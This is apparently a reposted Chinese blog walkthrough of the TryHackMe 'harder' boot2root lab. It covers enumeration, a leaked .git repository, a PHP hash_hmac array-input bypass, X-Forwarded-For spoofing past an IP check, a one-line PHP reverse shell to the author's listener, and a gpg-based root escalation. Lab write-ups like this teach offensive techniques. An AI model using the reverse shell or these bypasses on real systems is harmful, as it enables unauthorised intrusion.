当前位置: 首页 > article >正文

TryHackMe-harder(boot2root)

harder

结合真实的渗透测试结果。该机器的灵感完全来自现实世界的渗透测试结果。也许你会认为它们非常具有挑战性,但没有任何兔子洞。一旦你有一个 shell,知道使用哪个底层 Linux 发行版以及某些配置的位置是非常重要的。


端口扫描

循例 nmap

在这里插入图片描述

Web枚举

进80

在这里插入图片描述

目录扫描

上gobuster,发现报错,原因是不管请求的页面存不存在,都是200,仅在页面内容显示404

在这里插入图片描述

上ffuf

在这里插入图片描述

扫到phpinfo和vendor

继续对vendor扫,一层层扫进去最后无果

在这里插入图片描述

在查看响应的时候发现响应头有个域名

在这里插入图片描述

将其添加进hosts

在这里插入图片描述

进入pwd子域,是一个登录框

在这里插入图片描述

随手一个admin:admin,进去

在这里插入图片描述

gobuster扫一波,有东西

在这里插入图片描述

发现有.git,直接上githacker

在这里插入图片描述

PHP代码审计

得到三个php文件

在这里插入图片描述

有利用价值的信息在hmac.php

<?php
if (empty($_GET['h']) || empty($_GET['host'])) {
   header('HTTP/1.0 400 Bad Request');
   print("missing get parameter");
   die();
}
require("secret.php"); //set $secret var
if (isset($_GET['n'])) {
   $secret = hash_hmac('sha256', $_GET['n'], $secret);
}

$hm = hash_hmac('sha256', $_GET['host'], $secret);
if ($hm !== $_GET['h']){
  header('HTTP/1.0 403 Forbidden');
  print("extra security check failed");
  die();
}
?>

这段代码利用$secret将host变量进行sha256加密然后将加密的host 即$hm与h进行是否相等判断,虽然我们不知道$secret的值,但是在代码中,会利用$n变量进行sha256加密然后赋值给$secret

目前就是要想办法利用$n将$secret变得可控

在php hash_hmac官方文档当中,有一条有意思的评论

在这里插入图片描述

其实这里就是利用了hash_hmac的data参数只允许string的问题,如果data是非字符串,则函数直接返回空

利用这一点,我们就可以利用$n来控制$secret

在这里插入图片描述

丢到靶机,可以看到状态码已经是200,说明通过了,但是仍然没有数据

在这里插入图片描述

在index.php当中也导入hmac.php,去那边试试

在这里插入图片描述

得到了一组新凭据和一个子域

在这里插入图片描述

将子域添加进hosts,进去看看

在这里插入图片描述

又是这个登录框,使用刚刚获得的凭据登录

在这里插入图片描述

使用X-Forwarded-For轻松绕过

在这里插入图片描述

Reverse Shell

能执行命令

在这里插入图片描述

这里使用php来getshell

cmd=php+-r+'$sock%3dfsockopen("10.9.62.153",8888)%3bpopen("/bin/sh+<%263+>%263+2>%263",+"r")%3b'

值得注意的是,shellcode必须是/bin/sh而不是bash,因为靶机根本没有/bin/bash

在这里插入图片描述

user flag

在这里插入图片描述

横向移动

find www用户所有文件

在这里插入图片描述

给了evs的凭据,这docker里su没有suid,无法直接su过去,所有需要在外面ssh登录

在这里插入图片描述

在这里插入图片描述

权限提升

但这个脚本的注释给出的信息,说明可能还有其他脚本

在这里插入图片描述

这里是利用gpg加密需要执行的命令然后使用execute-crypted命令执行

在这里插入图片描述

这里只需要跟着脚本中说的做即可,但首先需要找到公钥,之后才能使用公钥加密

在这里插入图片描述

执行命令的文件./cmd

在这里插入图片描述

导入公钥

在这里插入图片描述

利用公钥加密

在这里插入图片描述

开启nc监听,execute-crypted执行cmd.gpg

在这里插入图片描述

getroot


http://www.kler.cn/a/5304.html

相关文章:

  • C#异步多线程——ThreadPool线程池
  • Visio 画阀门 符号 : 电动阀的画法
  • SpringBoot | 使用Apache POI库读取Excel文件介绍
  • 大数据技术 指令笔记1
  • el-table 多级表头
  • 计算机网络(第8版)第3章--PPP课后习题
  • ShaderGraph前言
  • English Learning - L2 语音作业打卡 舌边音 [r] [l] Day37 2023.3.29 周三
  • 你知道Python 最常用的 20 个包吗(按照使用频率排序)
  • Java 抽象类中构造方法的作用?如何理解?
  • JS和Jquery
  • 大屏使用dv-digital-flop定时刷新显示总人数
  • 一文实战 | RISC-V Linux入口地址2M预留内存优化
  • 如何在 Linux 上安装和使用 exa?
  • 二值mask转polygon/RLE (coco segment格式)
  • RSA解密-第十届Java研究生组E题
  • Leetcode: 236.二叉树的最近公共祖先
  • 医用超声检查设备
  • 无线耳机哪个品牌好?四大国内蓝牙耳机品牌排行
  • 软件工程导论(四)总体设计(临时)
  • 49天精通Java,第21天,Java内部类,看看文心一言、ChatGPT怎么说
  • MongoDB的优缺点以及springboot中的使用
  • TypeScript学习笔记一
  • 超级进化吧switch case in java
  • OSPF(开放式最短路径优先协议2)
  • 写毕业论文经验贴